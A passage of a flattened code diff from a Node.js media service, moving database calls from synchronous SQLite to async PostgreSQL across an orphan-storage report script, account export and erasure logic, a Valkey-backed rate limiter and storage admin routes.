i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };--const usage = (msg) => { console.error(`vods-orphans-report: ${msg}`); process.exit(2); };--for (const flag of ['prefix', 'provider', 'out', 'db', 'limit']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);--if (has('limit') && !(Number.isInteger(Number(arg('limit'))) && Number(arg('limit')) > 0)) usage('--limit must be a positive integer');--if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));--const provider = arg('provider') || 'b2';--if (!['b2', 'r2'].includes(provider)) usage('--provider must be b2 or r2');----const config = require('../server/config');--if (!fs.existsSync(config.db.path)) usage(`no database at ${config.db.path} (set DB_PATH or pass --db)`);--const db = require('../server/db/database');--const vodStorage = require('../server/vod/vod-storage');--const orphans = require('../server/vod/orphans-report');--const JSON_OUT = has('json');--const log = (...a) => { if (!JSON_OUT) console.log(...a); };--const mb = (b) => `${(b / 1048576).toFixed(1)} MB`;++(async () => {++ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service++ { const st = require('../server/vod/vod-storage'); await st.tierConfig.init(st.DEFAULTS, { log: { info() {}, warn: (m) => console.error(`[Tiers] ${m}`), error: (m) => console.error(`[Tiers] ${m}`) } }); } // the storage policy as configured (quiet: stdout is the report)++ const args = process.argv.slice(2);++ const has = (name) => args.includes(`--${name}`);++ const arg = (name) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] && !args[i + 1].startsWith('--') ? args[i + 1] : null; };++ const usage = (msg) => { console.error(`vods-orphans-report: ${msg}`); process.exit(2); };++ for (const flag of ['prefix', 'provider', 'out', 'db', 'limit']) if (has(flag) && !arg(flag)) usage(`--${flag} needs a value`);++ if (has('limit') && !(Number.isInteger(Number(arg('limit'))) && Number(arg('limit')) > 0)) usage('--limit must be a positive integer');++ const provider = arg('provider') || 'b2';++ if (!['b2', 'r2'].includes(provider)) usage('--provider must be b2 or r2');--async function storageReport() {-- const providers = has('no-remote') ? [] : null;-- const report = await orphans.buildStorageReport({ providers, limit: has('limit') ? Number(arg('limit')) : 2000 });-- const file = orphans.writeStorageReport(report, arg('out') ? path.resolve(arg('out')) : null);-- const t = report.totals;-- log(`Storage orphan report (read-only), ${report.generated_at}`);-- for (const r of report.scope.roots) log(` local ${r.name.padEnd(11)} ${r.dir}${r.exists ? ` (${r.files} file(s))` : ' (missing)'}`);-- for (const [p, e] of Object.entries(report.scope.providers)) log(` ${p.padEnd(17)} ${e.listed ? `${e.bucket || ''}: ${e.keys} key(s), ${mb(e.bytes)}` : `not listed${e.error ? `: ${e.error}` : ''}`}`);-- if (has('no-remote')) log(' buckets not listed (--no-remote)');-- log('');-- log(`Unreferenced local files: ${t.unreferenced_local.files} (${mb(t.unreferenced_local.bytes)})`);-- for (const f of report.unreferenced_local.slice(0, 25)) log(` ${mb(f.size).padStart(11)} ${f.root}/${f.path}${f.hint ? ` — ${f.hint}` : ''}`);-- for (const [p, x] of Object.entries(t.unreferenced_remote)) log(`Unreferenced ${p} keys: ${x.keys} (${mb(x.bytes)})`);-- for (const k of report.unreferenced_remote.slice(0, 25)) log(` ${mb(k.size).padStart(11)} ${k.provider}:${k.key}${k.hint ? ` — ${k.hint}` : ''}`);-- log(`Copies the database records that are not there: ${t.missing.locations}`);-- for (const m of report.missing.slice(0, 25)) log(` ${m.object_id} ${m.legacy_ref || m.kind} ${m.provider} (recorded ${m.recorded_state})`);-- log(`Open multipart uploads: ${t.multipart_local.open} here (${t.multipart_local.expired} expired)${Object.entries(t.multipart_remote).map(([p, n]) => `, ${n} in ${p}`).join('')}`);-- log(`Expected, not listed: ${t.expected.live_thumbnails} live thumbnail(s), ${t.expected.in_flight} upload(s) in flight`);-- log('');-- log('Nothing was deleted or moved.');-- log(`Report: ${file}`);-- if (JSON_OUT) console.log(JSON.stringify({ ...report, report: file }, null, 2));--}++ const config = require('../server/config');++ const db = require('../server/db/database');++ const vodStorage = require('../server/vod/vod-storage');++ const orphans = require('../server/vod/orphans-report');++ const JSON_OUT = has('json');++ const log = (...a) => { if (!JSON_OUT) console.log(...a); };++ const mb = (b) => `${(b / 1048576).toFixed(1)} MB`;--(async () => {-- if (has('storage')) { await storageReport(); db.close(); process.exit(0); }-- if (!vodStorage.providerConfigured(provider)) usage(`${provider} is not configured (MEDIA_${provider.toUpperCase()}_* not in the environment)`);-- const report = await orphans.buildReport({ provider, prefix: arg('prefix') || orphans.PREFIX });-- const file = arg('out') ? path.resolve(arg('out')) : path.join(path.dirname(config.db.path), 'reports', `vods-orphans-${report.generated_at.replace(/[:.]/g, '-')}.json`);-- fs.mkdirSync(path.dirname(file), { recursive: true });-- fs.writeFileSync(file, JSON.stringify(report, null, 1));-- log(`${report.provider}://${report.bucket}/${report.prefix}: ${report.totals.objects} object(s), ${report.totals.gb} GB (read-only report)`);-- log('');-- for (const o of report.objects) {-- const m = o.match ? `${o.match.kind} ${o.match.id}${o.match.row === 'gone' ? ' (row gone)' : ''}` : '-';-- log(` ${o.key.padEnd(60)} ${mb(o.size).padStart(11)} ${m.padEnd(22)} ${o.recommendation.padEnd(20)} ${o.reason}`);++ async function storageReport() {++ const providers = has('no-remote') ? [] : null;++ const report = await orphans.buildStorageReport({ providers, limit: has('limit') ? Number(arg('limit')) : 2000 });++ const file = orphans.writeStorageReport(report, arg('out') ? path.resolve(arg('out')) : null);++ const t = report.totals;++ log(`Storage orphan report (read-only), ${report.generated_at}`);++ for (const r of report.scope.roots) log(` local ${r.name.padEnd(11)} ${r.dir}${r.exists ? ` (${r.files} file(s))` : ' (missing)'}`);++ for (const [p, e] of Object.entries(report.scope.providers)) log(` ${p.padEnd(17)} ${e.listed ? `${e.bucket || ''}: ${e.keys} key(s), ${mb(e.bytes)}` : `not listed${e.error ? `: ${e.error}` : ''}`}`);++ if (has('no-remote')) log(' buckets not listed (--no-remote)');++ log('');++ log(`Unreferenced local files: ${t.unreferenced_local.files} (${mb(t.unreferenced_local.bytes)})`);++ for (const f of report.unreferenced_local.slice(0, 25)) log(` ${mb(f.size).padStart(11)} ${f.root}/${f.path}${f.hint ? ` — ${f.hint}` : ''}`);++ for (const [p, x] of Object.entries(t.unreferenced_remote)) log(`Unreferenced ${p} keys: ${x.keys} (${mb(x.bytes)})`);++ for (const k of report.unreferenced_remote.slice(0, 25)) log(` ${mb(k.size).padStart(11)} ${k.provider}:${k.key}${k.hint ? ` — ${k.hint}` : ''}`);++ log(`Copies the database records that are not there: ${t.missing.locations}`);++ for (const m of report.missing.slice(0, 25)) log(` ${m.object_id} ${m.legacy_ref || m.kind} ${m.provider} (recorded ${m.recorded_state})`);++ log(`Open multipart uploads: ${t.multipart_local.open} here (${t.multipart_local.expired} expired)${Object.entries(t.multipart_remote).map(([p, n]) => `, ${n} in ${p}`).join('')}`);++ log(`Expected, not listed: ${t.expected.live_thumbnails} live thumbnail(s), ${t.expected.in_flight} upload(s) in flight`);++ log('');++ log('Nothing was deleted or moved.');++ log(`Report: ${file}`);++ if (JSON_OUT) console.log(JSON.stringify({ ...report, report: file }, null, 2));}-- log('');-- for (const [rec, t] of Object.entries(report.by_recommendation)) if (t.objects) log(` ${rec.padEnd(22)} ${String(t.objects).padStart(4)} object(s) ${mb(t.bytes).padStart(12)}`);-- log('');-- log('Nothing was deleted or moved. delete_* rows are candidates for the owner; keep_only_copy rows are recordings whose only copy is here.');-- log(`Report: ${file}`);-- if (JSON_OUT) console.log(JSON.stringify({ ...report, report: file }, null, 2));-- db.close();-- process.exit(0);++++ (async () => {++ if (has('storage')) { await storageReport(); await db.close(); process.exit(0); }++ if (!vodStorage.providerConfigured(provider)) usage(`${provider} is not configured (MEDIA_${provider.toUpperCase()}_* not in the environment)`);++ const report = await orphans.buildReport({ provider, prefix: arg('prefix') || orphans.PREFIX });++ const file = arg('out') ? path.resolve(arg('out')) : path.join(path.dirname(config.db.path), 'reports', `vods-orphans-${report.generated_at.replace(/[:.]/g, '-')}.json`);++ fs.mkdirSync(path.dirname(file), { recursive: true });++ fs.writeFileSync(file, JSON.stringify(report, null, 1));++ log(`${report.provider}://${report.bucket}/${report.prefix}: ${report.totals.objects} object(s), ${report.totals.gb} GB (read-only report)`);++ log('');++ for (const o of report.objects) {++ const m = o.match ? `${o.match.kind} ${o.match.id}${o.match.row === 'gone' ? ' (row gone)' : ''}` : '-';++ log(` ${o.key.padEnd(60)} ${mb(o.size).padStart(11)} ${m.padEnd(22)} ${o.recommendation.padEnd(20)} ${o.reason}`);++ }++ log('');++ for (const [rec, t] of Object.entries(report.by_recommendation)) if (t.objects) log(` ${rec.padEnd(22)} ${String(t.objects).padStart(4)} object(s) ${mb(t.bytes).padStart(12)}`);++ log('');++ log('Nothing was deleted or moved. delete_* rows are candidates for the owner; keep_only_copy rows are recordings whose only copy is here.');++ log(`Report: ${file}`);++ if (JSON_OUT) console.log(JSON.stringify({ ...report, report: file }, null, 2));++ await db.close();++ process.exit(0);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });@@@ -28,32 +28,22 @@ const TOPICS = ['network.account.export_requested', 'network.account.deleted'];const SECRET_COL = /(^|_)(token|secret|hash|password|key|keys|stream_key|storage_key)($|_)/i;const ROW_LIMIT = 5000;--function ensureSchema(db) {-- db.exec(`CREATE TABLE IF NOT EXISTS account_data_events (-- id TEXT PRIMARY KEY,-- kind TEXT NOT NULL,-- subject TEXT NOT NULL,-- outcome TEXT,-- sent_at TEXT,-- applied_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ', 'now'))-- )`);--}const clean = (row) => { const o = {}; for (const [k, v] of Object.entries(row)) if (!SECRET_COL.test(k)) o[k] = v; return o; };const inList = (xs) => `(${xs.map(() => '?').join(',')})`;--function exportPart(db, subjects) {++async function exportPart(db, subjects) {const model = require('./objects/model');-- const objs = db.prepare(`SELECT * FROM media_objects WHERE owner_subject IN ${inList(subjects)} AND lifecycle_status != 'deleted' ORDER BY created_at DESC LIMIT ${ROW_LIMIT}`).all(...subjects);-- const objects = objs.map((o) => {-- const p = model.objectPublic(o, { locations: false });++ const objs = await db.prepare(`SELECT * FROM media_objects WHERE owner_subject IN ${inList(subjects)} AND lifecycle_status != 'deleted' ORDER BY created_at DESC LIMIT ${ROW_LIMIT}`).all(...subjects);++ const objects = (await Promise.all(objs.map(async (o) => {++ const p = await model.objectPublic(o, { locations: false });return { id: p.id, kind: p.kind, visibility: p.visibility, lifecycle_status: p.lifecycle_status, mime_type: p.mime_type, size_bytes: p.size_bytes,public_url: p.public_url, legacy_ref: p.legacy_ref, created_at: p.created_at, held: p.held };-- });++ })));const ids = objs.map((o) => o.id);-- const rows = (table) => (ids.length ? db.prepare(`SELECT * FROM ${table} WHERE object_id IN ${inList(ids)} ORDER BY created_at DESC`).all(...ids).map(clean) : []);++ const rows = async (table) => (ids.length ? (await db.prepare(`SELECT * FROM ${table} WHERE object_id IN ${inList(ids)} ORDER BY created_at DESC`).all(...ids)).map(clean) : []);const files = [{ name: 'objects.json', content: objects }];-- const vods = rows('vods'); const clips = rows('clips'); const plain = rows('files');++ const vods = await rows('vods'); const clips = await rows('clips'); const plain = await rows('files');if (vods.length) files.push({ name: 'vods.json', content: vods });if (clips.length) files.push({ name: 'clips.json', content: clips });if (plain.length) files.push({ name: 'files.json', content: plain });@@@ -61,42 +51,42 @@ function exportPart(db, subjects) {}/** Erase what the subjects own → { erased, retained }. Each object in its own step: a hold stops only that one. */--function erase(db, subjects) {++async function erase(db, subjects) {const model = require('./objects/model');const erased = {};const retained = {};const bump = (o, k) => { o[k] = (o[k] || 0) + 1; };-- const objs = db.prepare(`SELECT * FROM media_objects WHERE owner_subject IN ${inList(subjects)} AND lifecycle_status != 'deleted' ORDER BY (kind = 'thumbnail'), created_at`).all(...subjects);++ const objs = await db.prepare(`SELECT * FROM media_objects WHERE owner_subject IN ${inList(subjects)} AND lifecycle_status != 'deleted' ORDER BY (kind = 'thumbnail'), created_at`).all(...subjects);for (const o of objs) {-- if (model.isHeld(o.id)) { bump(retained, 'held_media'); continue; }++ if (await model.isHeld(o.id)) { bump(retained, 'held_media'); continue; }try {-- if (!o.legacy_ref) { model.softDelete(o, { by: 'account_deleted' }); bump(erased, 'objects'); continue; }++ if (!o.legacy_ref) { await model.softDelete(o, { by: 'account_deleted' }); bump(erased, 'objects'); continue; }if (o.kind === 'vod') {-- const vod = db.prepare('SELECT * FROM vods WHERE object_id = ?').get(o.id);++ const vod = await db.prepare('SELECT * FROM vods WHERE object_id = ?').get(o.id);if (!vod) continue;if (vod.file_path) {require('./vod/vod-storage').deleteVodObjects(vod).catch((e) => console.warn(`[AccountData] VOD ${vod.id} remote cleanup:`, e.message));for (const p of [vod.file_path, vod.master_file_path]) { try { if (p && fs.existsSync(p)) fs.unlinkSync(p); } catch { /* gone */ } }}-- db.prepare('DELETE FROM vods WHERE id = ?').run(vod.id);++ await db.prepare('DELETE FROM vods WHERE id = ?').run(vod.id);bump(erased, 'vods');} else if (o.kind === 'clip') {-- const clip = db.prepare('SELECT * FROM clips WHERE object_id = ?').get(o.id);++ const clip = await db.prepare('SELECT * FROM clips WHERE object_id = ?').get(o.id);if (!clip) continue;try { if (clip.file_path && fs.existsSync(clip.file_path)) fs.unlinkSync(clip.file_path); } catch { /* gone */ }if (clip.storage_provider && clip.storage_provider !== 'local' && clip.storage_key) {require('./vod/vod-storage').deleteVodObjects(clip).catch((e) => console.warn(`[AccountData] clip ${clip.id} remote cleanup:`, e.message));}-- db.prepare('DELETE FROM clips WHERE id = ?').run(clip.id);++ await db.prepare('DELETE FROM clips WHERE id = ?').run(clip.id);bump(erased, 'clips');} else if (o.kind === 'file') {-- const row = db.prepare('SELECT * FROM files WHERE object_id = ?').get(o.id);++ const row = await db.prepare('SELECT * FROM files WHERE object_id = ?').get(o.id);if (!row) continue;try { const p = require('./files/routes').filePathForKey(row); if (fs.existsSync(p)) fs.unlinkSync(p); } catch { /* gone */ }-- db.prepare('DELETE FROM files WHERE key = ?').run(row.key);++ await db.prepare('DELETE FROM files WHERE key = ?').run(row.key);bump(erased, 'files');} else if (o.kind === 'thumbnail') {-- db.prepare("UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, CURRENT_TIMESTAMP), updated_at = CURRENT_TIMESTAMP WHERE id = ? AND lifecycle_status != 'deleted'").run(o.id);++ await db.prepare("UPDATE media_objects SET lifecycle_status = 'deleted', deleted_at = COALESCE(deleted_at, ov_now()), updated_at = ov_now() WHERE id = ? AND lifecycle_status != 'deleted'").run(o.id);bump(erased, 'thumbnails');} else {bump(retained, `frozen_${o.kind}s`); // screenshots and avatars: rows in the frozen paste tables@@@ -127,36 +117,36 @@ async function apply(ev, { db = require('./db/database').getDb(), send = networkif (!ev || !TOPICS.includes(ev.event_type)) return 'ignored:type';if (ev.source !== 'network') return 'ignored:source';const p = ev.payload && typeof ev.payload === 'object' ? ev.payload : {};-- ensureSchema(db);if (ev.event_type === 'network.account.export_requested') {if (!EXPORT_RE.test(String(p.export_id || '')) || !SUBJECT_RE.test(String(p.subject || ''))) return 'ignored:payload';-- const seen = db.prepare('SELECT sent_at FROM account_data_events WHERE id = ?').get(p.export_id);++ const seen = await db.prepare('SELECT sent_at FROM account_data_events WHERE id = ?').get(p.export_id);if (seen && seen.sent_at) return 'unchanged';-- const part = exportPart(db, [p.subject]);++ const part = await exportPart(db, [p.subject]);const res = await send(`/internal/account-exports/${p.export_id}/parts`, { subject: p.subject, ...part });const outcome = res.ok ? 'exported' : (res.status === 409 || res.status === 404 ? 'closed' : null);if (!outcome) throw new Error(`export part refused: ${res.status}`);-- db.prepare('INSERT OR REPLACE INTO account_data_events (id, kind, subject, outcome, sent_at) VALUES (?, ?, ?, ?, ?)')++ await db.prepare(`INSERT INTO account_data_events (id, kind, subject, outcome, sent_at) VALUES (?, ?, ?, ?, ?)++ ON CONFLICT (id) DO UPDATE SET kind = excluded.kind, subject = excluded.subject, outcome = excluded.outcome, sent_at = excluded.sent_at, applied_at = ov_now_iso()`).run(p.export_id, 'export', p.subject, JSON.stringify({ result: outcome, objects: part.files[0].content.length }), new Date().toISOString());return outcome;}if (!DELETION_RE.test(String(p.deletion_id || '')) || !SUBJECT_RE.test(String(p.subject || ''))) return 'ignored:payload';-- let rec = db.prepare('SELECT * FROM account_data_events WHERE id = ?').get(p.deletion_id);++ let rec = await db.prepare('SELECT * FROM account_data_events WHERE id = ?').get(p.deletion_id);let result = 'confirmed';if (!rec) {const subjects = [p.subject, ...(Array.isArray(p.aliases) ? p.aliases.filter((s) => SUBJECT_RE.test(String(s))) : [])];-- const counts = erase(db, subjects);-- db.prepare('INSERT INTO account_data_events (id, kind, subject, outcome) VALUES (?, ?, ?, ?)').run(p.deletion_id, 'deletion', p.subject, JSON.stringify(counts));++ const counts = await erase(db, subjects);++ await db.prepare('INSERT INTO account_data_events (id, kind, subject, outcome) VALUES (?, ?, ?, ?)').run(p.deletion_id, 'deletion', p.subject, JSON.stringify(counts));console.log(`[AccountData] deletion ${p.deletion_id}: ${JSON.stringify(counts)}`);-- rec = db.prepare('SELECT * FROM account_data_events WHERE id = ?').get(p.deletion_id);++ rec = await db.prepare('SELECT * FROM account_data_events WHERE id = ?').get(p.deletion_id);result = 'erased';}if (rec.sent_at) return 'unchanged';const o = JSON.parse(rec.outcome || '{}');const res = await send(`/internal/account-deletions/${p.deletion_id}/confirmations`, { subject: p.subject, completed_at: rec.applied_at, erased: o.erased || {}, retained: o.retained || {} });if (!res.ok && res.status !== 404) throw new Error(`confirmation refused: ${res.status}`);-- db.prepare('UPDATE account_data_events SET sent_at = ? WHERE id = ?').run(new Date().toISOString(), p.deletion_id);++ await db.prepare('UPDATE account_data_events SET sent_at = ? WHERE id = ?').run(new Date().toISOString(), p.deletion_id);return result;}--module.exports = { apply, exportPart, erase, ensureSchema, TOPICS };++module.exports = { apply, exportPart, erase, TOPICS };@@@ -15,7 +15,7 @@* /metrics or the signed /internal/events deliveries (Events pushes at its own pace; a 429 there only* makes it retry and fall behind).*/--const { createActorLimiter, defaultActor } = require('openvibe-sdk/limits');++const { createActorLimiter, createValkeyLimitStore, defaultActor } = require('openvibe-sdk/limits');const config = require('./config');let clock = () => Date.now();@@@ -36,21 +36,45 @@ function onLimited(e) {if (refused) refused.inc({ limit: e.name, window: e.window });}--const limiter = createActorLimiter({-- limits: { minute: config.limits.minute, hour: config.limits.hour },-- actor,-- now: () => clock(),-- onLimited,--});++// The counters: in this process, or shared across processes on Valkey once server/index.js calls useValkey() at boot++// (ADR-035). Routes built before that pick the shared limiter up on their next request.++let store = null;++let valkeyHandle = null;++let limiter = null;++let generation = 0;++function current() {++ if (!limiter) {++ limiter = createActorLimiter({++ limits: { minute: config.limits.minute, hour: config.limits.hour },++ actor,++ now: () => clock(),++ onLimited,++ ...(store ? { store } : {}),++ });++ }++ return limiter;++}++/** Count on Valkey (an openvibe-sdk/valkey handle), from now on. */++function useValkey(valkey) {++ valkeyHandle = valkey || null;++ store = valkey ? createValkeyLimitStore(valkey) : null;++ limiter = null;++ generation++;++}/** Every named limit with its numbers, as the routes declare them (published in /limits.json). */const registered = new Map();function limits(name, own = {}) {registered.set(name, { minute: own.minute != null ? own.minute : config.limits.minute, hour: own.hour != null ? own.hour : config.limits.hour });-- return limiter(name, own);++ let mw = null;++ let built = -1;++ return (req, res, next) => {++ if (built !== generation || !mw) { mw = current()(name, own); built = generation; }++ return mw(req, res, next);++ };}--limits.stats = () => limiter.stats();--limits.reset = () => limiter.reset();++limits.stats = () => current().stats();++limits.reset = () => current().reset();/** Count refusals in /metrics (server/index.js, after observability.instrument). */function bindMetrics(registry) {@@@ -59,6 +83,8 @@ function bindMetrics(registry) {}module.exports = {++ useValkey,++ valkey: () => valkeyHandle,limits,/** [{ id, minute, hour }] for every limit the routes have declared, sorted by id. */registered: () => [...registered].map(([id, n]) => ({ id, ...n })).sort((x, y) => x.id.localeCompare(y.id)),@@@ -86,10 +86,10 @@ function dirStatsRecursive(dirPath) {return { bytes, files };}--function _providerCounts(table, appId, withBytes) {-- const rows = db.all(`++async function _providerCounts(table, appId, withBytes) {++ const rows = await db.all(`SELECT COALESCE(storage_provider, 'local') AS provider,-- COUNT(*) AS count${withBytes ? ', COALESCE(SUM(file_size), 0) AS bytes' : ''}++ COUNT(*) AS count${withBytes ? ', COALESCE(SUM(file_size), 0)::bigint AS bytes' : ''}FROM ${table} WHERE app_id = ?GROUP BY COALESCE(storage_provider, 'local')`, [appId]);@@@ -99,7 +99,7 @@ function _providerCounts(table, appId, withBytes) {}// ── GET / — disk usage & per-directory breakdown ─────────────--router.get('/', (req, res) => {++router.get('/', async (req, res) => {try {const disk = vodStorage.diskUsage(config.vod.path);@@@ -117,18 +117,18 @@ router.get('/', (req, res) => {try { dbBytes = fs.statSync(config.db.path).size; } catch { /* */ }// App-scoped DB stats-- const vodStats = db.get(`-- SELECT COUNT(*) AS count, COALESCE(SUM(file_size), 0) AS bytes,++ const vodStats = await db.get(`++ SELECT COUNT(*) AS count, COALESCE(SUM(file_size), 0)::bigint AS bytes,COALESCE(MIN(created_at), '') AS oldest, COALESCE(MAX(created_at), '') AS newestFROM vods WHERE app_id = ?`, [req.appId]) || {};-- const clipStats = db.get('SELECT COUNT(*) AS count FROM clips WHERE app_id = ?', [req.appId]) || {};-- const pasteStats = db.get(`++ const clipStats = await db.get('SELECT COUNT(*) AS count FROM clips WHERE app_id = ?', [req.appId]) || {};++ const pasteStats = await db.get(`SELECT COUNT(*) AS count,SUM(CASE WHEN type = 'screenshot' THEN 1 ELSE 0 END) AS screenshotsFROM pastes WHERE app_id = ?`, [req.appId]) || {};-- const fileStats = db.get('SELECT COUNT(*) AS count, COALESCE(SUM(size), 0) AS bytes FROM files WHERE app_id = ?', [req.appId]) || {};++ const fileStats = await db.get('SELECT COUNT(*) AS count, COALESCE(SUM(size), 0)::bigint AS bytes FROM files WHERE app_id = ?', [req.appId]) || {};res.json({app_id: req.appId,@@@ -141,8 +141,8 @@ router.get('/', (req, res) => {pasteStats,fileStats,byProvider: {-- vods: _providerCounts('vods', req.appId, true),-- clips: _providerCounts('clips', req.appId, false), // clips carry no file_size column++ vods: await _providerCounts('vods', req.appId, true),++ clips: await _providerCounts('clips', req.appId, false), // clips carry no file_size column},});} catch (err) {@@@ -154,7 +154,7 @@ router.get('/', (req, res) => {// ── GET /vods — detailed VOD listing ─────────────────────────const PROVIDER_ALIASES = { hot: 'local', local: 'local', cold: 'b2', b2: 'b2', r2: 'r2' };--router.get('/vods', (req, res) => {++router.get('/vods', async (req, res) => {try {const sort = req.query.sort || 'size'; // size, date, duration, tier, views, accessedconst order = String(req.query.order || 'desc').toLowerCase() === 'asc' ? 'ASC' : 'DESC';@@@ -178,7 +178,7 @@ router.get('/vods', (req, res) => {const providerFilter = PROVIDER_ALIASES[String(req.query.provider || req.query.tier || '').toLowerCase()];if (providerFilter) { conds.push("COALESCE(storage_provider, 'local') = ?"); params.push(providerFilter); }-- const vods = db.all(`++ const vods = await db.all(`SELECT id, title, file_path, file_size, duration_seconds, is_public, visibility,is_recording, clips_only, created_at, view_count, health_status,storage_provider, storage_tier, storage_key, last_accessed_at,@@@ -188,7 +188,7 @@ router.get('/vods', (req, res) => {ORDER BY ${orderBy}LIMIT ? OFFSET ?`, [...params, limit, offset]);-- const total = db.get(`SELECT COUNT(*) AS c FROM vods WHERE ${conds.join(' AND ')}`, params).c;++ const total = (await db.get(`SELECT COUNT(*) AS c FROM vods WHERE ${conds.join(' AND ')}`, params)).c;// Reconcile DB tier with what's actually on disk / in object storage.const enriched = vods.map(v => {@@@ -210,8 +210,8 @@ router.get('/vods', (req, res) => {});// Per-user summary (app-local user ids; Media holds no user profiles)-- const userSummary = db.all(`-- SELECT user_id, COUNT(*) AS vodCount, COALESCE(SUM(file_size), 0) AS totalSize++ const userSummary = await db.all(`++ SELECT user_id, COUNT(*) AS "vodCount", COALESCE(SUM(file_size), 0)::bigint AS "totalSize"FROM vods WHERE app_id = ?GROUP BY user_idORDER BY totalSize DESC@@@ -242,9 +242,9 @@ router.delete('/vods/bulk', async (req, res) => {const id = parseInt(rawId, 10);const result = { id: Number.isFinite(id) ? id : rawId, ok: false };try {-- const vod = Number.isFinite(id) ? db.getVodById(id, req.appId) : null;++ const vod = Number.isFinite(id) ? await db.getVodById(id, req.appId) : null;if (!vod) { result.error = 'VOD not found'; results.push(result); continue; }-- if (require('../objects/model').isHeldRow(vod)) { result.error = 'VOD is under a retention hold'; results.push(result); continue; }++ if (await require('../objects/model').isHeldRow(vod)) { result.error = 'VOD is under a retention hold'; results.push(result); continue; }if (recorder.isRecording(vod.id)) recorder.stopRecording(vod.id);try { require('../vod/routes').activeChunkUploads.delete(vod.id); } catch { /* */ }@@@ -262,8 +262,8 @@ router.delete('/vods/bulk', async (req, res) => {try { if (fs.existsSync(thumbFile)) fs.unlinkSync(thumbFile); } catch { /* */ }}-- db.run('DELETE FROM vods WHERE id = ?', [vod.id]);-- db.run("DELETE FROM content_views WHERE content_type = 'vod' AND content_id = ?", [vod.id]);++ await db.run('DELETE FROM vods WHERE id = ?', [vod.id]);++ await db.run("DELETE FROM content_views WHERE content_type = 'vod' AND content_id = ?", [vod.id]);result.ok = true;deleted++;} catch (err) {@@@ -285,25 +285,25 @@ router.delete('/vods/bulk', async (req, res) => {// ═══════════════════════════════════════════════════════════════// ── GET /tiers — tier/offload status ─────────────────────────--router.get('/tiers', (req, res) => {++router.get('/tiers', async (req, res) => {try {-- const status = vodStorage.getStatus(); // settings, providers, disk, global tier counts, sweepRunning++ const status = await vodStorage.getStatus(); // settings, providers, disk, global tier counts, sweepRunning// App-scoped tier counts-- const appCounts = db.get(`++ const appCounts = await db.get(`SELECT-- SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) AS localCount,++ SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN 1 ELSE 0 END) AS "localCount",SUM(CASE WHEN storage_provider = 'b2' THEN 1 ELSE 0 END) AS b2Count,SUM(CASE WHEN storage_provider = 'r2' THEN 1 ELSE 0 END) AS r2Count,-- SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN file_size ELSE 0 END) AS localBytes,-- SUM(CASE WHEN storage_provider = 'b2' THEN file_size ELSE 0 END) AS b2Bytes,-- SUM(CASE WHEN storage_provider = 'r2' THEN file_size ELSE 0 END) AS r2Bytes++ SUM(CASE WHEN COALESCE(storage_provider, 'local') = 'local' THEN file_size ELSE 0 END)::bigint AS "localBytes",++ SUM(CASE WHEN storage_provider = 'b2' THEN file_size ELSE 0 END)::bigint AS b2Bytes,++ SUM(CASE WHEN storage_provider = 'r2' THEN file_size ELSE 0 END)::bigint AS r2BytesFROM vods WHERE app_id = ?`, [req.appId]) || {};// VODs of this app currently eligible for the next cold-offload sweepconst s = status.settings;-- const pendingOffload = db.get(`++ const pendingOffload = (await db.get(`SELECT COUNT(*) AS c FROM vodsWHERE app_id = ?AND COALESCE(storage_provider, 'local') = 'local'@@@ -311,7 +311,7 @@ router.get('/tiers', (req, res) => {AND created_at <= datetime('now', ?)AND COALESCE(view_count, 0) <= ?AND (last_accessed_at IS NULL OR last_accessed_at <= datetime('now', ?))-- `, [req.appId, `-${s.minAgeDays} days`, s.maxViewsForCold, `-${s.minLastAccessDays} days`])?.c || 0;++ `, [req.appId, `-${s.minAgeDays} days`, s.maxViewsForCold, `-${s.minLastAccessDays} days`]))?.c || 0;res.json({...status,@@@ -380,12 +380,12 @@ function _decisionPublic(r) {};}--router.get('/tiers/policy', (req, res) => {++router.get('/tiers/policy', async (req, res) => {try {-- const status = vodStorage.getStatus();++ const status = await vodStorage.getStatus();const counts = { promote: { done: 0, already: 0, refused: 0, failed: 0 }, demote: { done: 0, already: 0, refused: 0, failed: 0 } };-- for (const r of db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_tier_decisions-- WHERE app_id = ? AND decided_at >= strftime('%Y-%m-%dT%H:%M:%fZ', 'now', '-1 day') GROUP BY action, outcome`, [req.appId])) {++ for (const r of await db.all(`SELECT action, outcome, COUNT(*) AS n FROM media_tier_decisions++ WHERE app_id = ? AND decided_at >= ov_now_iso('-1 day') GROUP BY action, outcome`, [req.appId])) {if (counts[r.action]) counts[r.action][r.outcome] = r.n;}res.json({@@@ -397,7 +397,7 @@ router.get('/tiers/policy', (req, res) => {},decisions: {last_24h: counts,-- recent: db.all('SELECT * FROM media_tier_decisions WHERE app_id = ? ORDER BY id DESC LIMIT 20', [req.appId]).map(_decisionPublic),++ recent: (await db.all('SELECT * FROM media_tier_decisions WHERE app_id = ? ORDER BY id DESC LIMIT 20', [req.appId])).map(_decisionPublic),},note: 'Read-only. Thresholds change through PUT /tiers/settings (media_settings storage_tier.*); decisions are this app\'s only.',});@@@ -407,7 +407,7 @@ router.get('/tiers/policy', (req, res) => {}});--router.get('/tiers/decisions', (req, res) => {++router.get('/tiers/decisions', async (req, res) => {try {const q = req.query;const conds = ['app_id = ?'], params = [req.appId];@@@ -422,7 +422,7 @@ router.get('/tiers/decisions', (req, res) => {}if (q.before_id != null) { conds.push('id < ?'); params.push(parseInt(q.before_id, 10) || 0); }const limit = Math.min(Math.max(parseInt(q.limit, 10) || 50, 1), 200);-- const rows = db.all(`SELECT * FROM media_tier_decisions WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, limit + 1]);++ const rows = await db.all(`SELECT * FROM media_tier_decisions WHERE ${conds.join(' AND ')} ORDER BY id DESC LIMIT ?`, [...params, limit + 1]);const page = rows.slice(0, limit);res.json({ decisions: page.map(_decisionPublic), next_before_id: rows.length > limit ? page[page.length - 